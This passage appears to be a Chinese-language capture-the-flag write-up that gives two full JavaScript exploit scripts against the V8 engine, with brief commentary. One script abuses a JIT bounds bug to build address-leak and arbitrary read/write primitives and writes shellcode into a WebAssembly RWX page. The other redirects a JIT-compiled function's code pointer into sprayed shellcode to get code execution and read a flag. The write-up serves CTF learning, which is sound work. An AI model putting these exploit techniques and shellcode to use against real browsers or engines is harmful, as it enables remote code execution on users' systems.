最後就是實踐上我發現不知道為什麼我這邊 JIT 一定要 console.log 一堆垃圾才會真得進去…卡好久, debug 也更難用 QwQ
sol.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 let ab = new ArrayBuffer (8 );let uv = new Uint32Array (ab);let dv = new BigUint64Array (ab);let fv = new Float64Array (ab);function f2i (f ) { fv[0 ] = f; return dv[0 ]; } function i2f (i ) { dv[0 ] = BigInt (i); return fv[0 ]; } function u2f (i, j ){ uv[0 ]=i; uv[1 ]=j; return fv[0 ]; } function f2ul (i ){ fv[0 ]=i; return uv[0 ]; } function f2uh (i ){ fv[0 ]=i; return uv[1 ]; } function shift32 (i ){ return i<<32n ; } function last32 (i ){ dv[0 ]=i; return uv[0 ]; } function to_jit ( ){return [1.1 , 2.2 , 3.3 , 4.4 , 5.5 , 6.6 , 7.7 ];}for (let i=0 ;i<0x100000 ;i++){to_jit ();}function get32addr (obj ) { function opt (obj, i ) { let array = [1.1 , 2.2 , 3.3 ]; let obj_arr = [obj]; i = i&0xfffffff ; fv[0 ] = array[i]; uv[1 ] = 0x001cb7f9 ; array[i] = fv[0 ]; return [array, obj_arr]; } for (let i = 0 ; i<1000000 ; i++) opt (obj, 0 ); let last = opt (obj, 6 ); let obj_tmp = last[1 ]; return f2ul (obj_tmp[0 ])-1 ; } function ArbRead64 (addr ){ addr -= 8 ; function opt (idx ){ for (let i=0 ;i<1000000 ;i++); idx = idx & 0xfffffff ; let trojan_arr = [1.1 ]; let array = [1.1 , 2.2 , 3.3 ]; console .log (f2i (trojan_arr[idx]).toString (16 )); trojan_arr[idx] = u2f (addr+1 , 6 ); return array; } for (let i = 0 ; i<10000 ; i++) opt (0 ); return f2i (opt (6 )[0 ]); } function ArbWrite64 (addr, data ){ addr -= 8 ; function opt (idx ){ for (let i=0 ;i<1000000 ;i++); idx = idx & 0xfffffff ; let trojan_arr = [1.1 ]; let array = [1.1 , 2.2 , 3.3 ]; console .log (f2i (trojan_arr[0 ]).toString (16 )); trojan_arr[idx] = u2f (addr+1 , 6 ); return array; } for (let i = 0 ; i<10000 ; i++) opt (0 ); let last = opt (6 ); last[0 ] = i2f (data); } var ELEMENT_OFFSET = 0x20 ;var MAP_OFFSET = 0x24 ;var WASM_PAGE_SIZE = 0x2bfac ;var wasm_code = new Uint8Array ([0 ,97 ,115 ,109 ,1 ,0 ,0 ,0 ,1 ,133 ,128 ,128 ,128 ,0 ,1 ,96 ,0 ,1 ,127 ,3 ,130 ,128 ,128 ,128 ,0 ,1 ,0 ,4 ,132 ,128 ,128 ,128 ,0 ,1 ,112 ,0 ,0 ,5 ,131 ,128 ,128 ,128 ,0 ,1 ,0 ,1 ,6 ,129 ,128 ,128 ,128 ,0 ,0 ,7 ,145 ,128 ,128 ,128 ,0 ,2 ,6 ,109 ,101 ,109 ,111 ,114 ,121 ,2 ,0 ,4 ,109 ,97 ,105 ,110 ,0 ,0 ,10 ,138 ,128 ,128 ,128 ,0 ,1 ,132 ,128 ,128 ,128 ,0 ,0 ,65 ,42 ,11 ]);var wasm_mod = new WebAssembly .Module (wasm_code);var wasm_instance = new WebAssembly .Instance (wasm_mod);var f = wasm_instance.exports .main ;var shellcode = [i2f (0x9090909090909090n ),i2f (0x2434810101666068n ),i2f (0x6567b84801010101n ),i2f (0x48506c667461632fn ),i2f (0x656c6c6168632fb8n ),i2f (0x31d231e78948506en ),i2f (0x0000050f583b6af6n )];wasm_instance_addr = get32addr (wasm_instance); var rwx_page_addr = ArbRead64 (wasm_instance_addr+WASM_PAGE_SIZE );console .log ("[*] WASM INSTANCE ADDR:" )console .log (wasm_instance_addr.toString (16 ));let buf = new ArrayBuffer (shellcode.length * 8 );let dataview = new DataView (buf);let buf_addr = get32addr (buf);console .log (buf_addr.toString (16 ));let backing_store_pointer = buf_addr + 0x24 ;console .log (backing_store_pointer.toString (16 ));backing_store_addr = ArbRead64 (backing_store_pointer); console .log (backing_store_addr.toString (16 ));ArbWrite64 (backing_store_pointer,rwx_page_addr);for (let i = 0 ; i < shellcode.length ; i++) { dataview.setFloat64 (8 * i, shellcode[i], true ); } console .log (rwx_page_addr.toString (16 ));console .log (wasm_instance_addr.toString (16 ));f ();while (1 ){};
Level 9 給了一連串 sandbox 內的 aar, aaw,拿 RCE Spray shellcode function 預熱後會發現 sandbox 內的 code (執行的 MEMORY 段落)變成 TurboFan,再改掉 code 段落跳轉點進去客製化寫入的 shellcode 區,就可以拿 RCE ㄌ…嗎?
不,因為資料不是好好排在上面而是有一堆奇怪的 push 操作去準備 return,所以要安插 jmp 0xc
之類的去跳過那些固定段落的垃圾,此外其實它會去跳地址 + 0x3f 的地方,要扣掉這個 offset,最後因為我太不會寫 shellcode 所以我直接 cd /challenge
然後呼叫 catflag 不然標準路徑太長了(
跟這篇幾乎一樣:https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 let ab = new ArrayBuffer (8 );let uv = new Uint32Array (ab);let dv = new BigUint64Array (ab);let fv = new Float64Array (ab);function f2i (f ) { fv[0 ] = f; return dv[0 ]; } function i2f (i ) { dv[0 ] = BigInt (i); return fv[0 ]; } function u2f (i, j ){ uv[0 ]=i; uv[1 ]=j; return fv[0 ]; } function f2ul (i ){ fv[0 ]=i; return uv[0 ]; } function f2uh (i ){ fv[0 ]=i; return uv[1 ]; } function shift32 (i ){ return i<<32n ; } function last32 (i ){ dv[0 ]=i; return uv[0 ]; } const opt = ( )=>{return [1.0 ,1.9553825376526264e-246 ,1.956052573312927e-246 ,1.9995714719542577e-246 ,1.9533767332674093e-246 ,2.6348604765229606e-284 ];}for (let i=0 ;i<0x100000 ;i++) opt ();opt_addr = Sandbox .getAddressOf (opt); console .log ('[*] opt ADDR:' )console .log (opt_addr.toString (16 ));opt_mem = new Sandbox .MemoryView (opt_addr, 0x100 ); opt_mem = new Uint32Array (opt_mem); code_addr = opt_mem[6 ]-1 ; console .log ('[*] code ADDR:' )console .log (code_addr.toString (16 ));opt_mem[6 ] = code_addr+0xb4 -0x3f ; opt ();while (1 );